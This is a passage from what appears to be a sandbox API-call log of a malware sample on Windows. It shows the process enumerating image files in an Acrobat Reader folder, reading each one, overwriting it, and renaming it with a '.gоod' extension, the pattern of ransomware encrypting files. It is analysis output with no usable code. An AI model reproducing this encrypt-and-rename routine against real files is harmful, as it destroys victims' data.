ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0177.041] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0177.041] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0177.041] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0177.041] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0177.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0177.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0177.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0177.042] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images", lpFilePart=0x0) returned 0x71 [0177.042] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0177.043] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.043] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0177.044] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0177.045] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0177.045] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0177.045] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0177.045] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0177.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0177.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0177.046] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png", lpFilePart=0x0) returned 0x88 [0177.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0177.046] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png"), fInfoLevelId=0x0, lpFileInformation=0x3525530 | out: lpFileInformation=0x3525530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf)) returned 1 [0177.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0177.047] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png", lpFilePart=0x0) returned 0x88 [0177.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0177.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0177.048] GetFileType (hFile=0x768) returned 0x1 [0177.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0177.048] GetFileType (hFile=0x768) returned 0x1 [0177.048] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x2bf [0177.048] ReadFile (in: hFile=0x768, lpBuffer=0x3525bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x3525bc8*, lpNumberOfBytesRead=0x203ec6b8*=0x2bf, lpOverlapped=0x0) returned 1 [0177.049] CloseHandle (hObject=0x768) returned 1 [0177.642] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png", lpFilePart=0x0) returned 0x88 [0177.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0177.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0177.643] GetFileType (hFile=0x810) returned 0x1 [0177.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0177.643] GetFileType (hFile=0x810) returned 0x1 [0177.643] WriteFile (in: hFile=0x810, lpBuffer=0x3535660*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3535660*, lpNumberOfBytesWritten=0x203ec5c8*=0x2c0, lpOverlapped=0x0) returned 1 [0177.644] CloseHandle (hObject=0x810) returned 1 [0177.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png", lpFilePart=0x0) returned 0x88 [0177.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png.gоod", lpFilePart=0x0) returned 0x8d [0177.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0177.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x66186fac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0)) returned 1 [0177.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0177.645] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_patterns_header.png.gоod")) returned 1 [0177.646] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x84 [0177.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0177.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_rhp.png"), fInfoLevelId=0x0, lpFileInformation=0x3536a88 | out: lpFileInformation=0x3536a88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3)) returned 1 [0177.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0177.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x84 [0177.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0177.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_rhp.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0177.647] GetFileType (hFile=0x810) returned 0x1 [0177.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0177.648] GetFileType (hFile=0x810) returned 0x1 [0177.648] GetFileSize (in: hFile=0x810, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0xb3 [0177.648] ReadFile (in: hFile=0x810, lpBuffer=0x3536f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x3536f28*, lpNumberOfBytesRead=0x203ec6b8*=0xb3, lpOverlapped=0x0) returned 1 [0177.649] CloseHandle (hObject=0x810) returned 1 [0178.248] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x84 [0178.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0178.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_rhp.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0178.250] GetFileType (hFile=0x7c8) returned 0x1 [0178.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0178.250] GetFileType (hFile=0x7c8) returned 0x1 [0178.250] WriteFile (in: hFile=0x7c8, lpBuffer=0x353a780*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x353a780*, lpNumberOfBytesWritten=0x203ec5c8*=0xc0, lpOverlapped=0x0) returned 1 [0178.251] CloseHandle (hObject=0x7c8) returned 1 [0178.251] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x84 [0178.251] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png.gоod", lpFilePart=0x0) returned 0x89 [0178.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0178.251] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_rhp.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x66756ada, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0178.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0178.251] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_rhp.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_RHP.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\bg_pattern_rhp.png.gоod")) returned 1 [0178.252] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0178.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0178.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons.png"), fInfoLevelId=0x0, lpFileInformation=0x353bb90 | out: lpFileInformation=0x353bb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f)) returned 1 [0178.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0178.253] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png", lpFilePart=0x0) returned 0x7b [0178.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0178.253] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons.png" 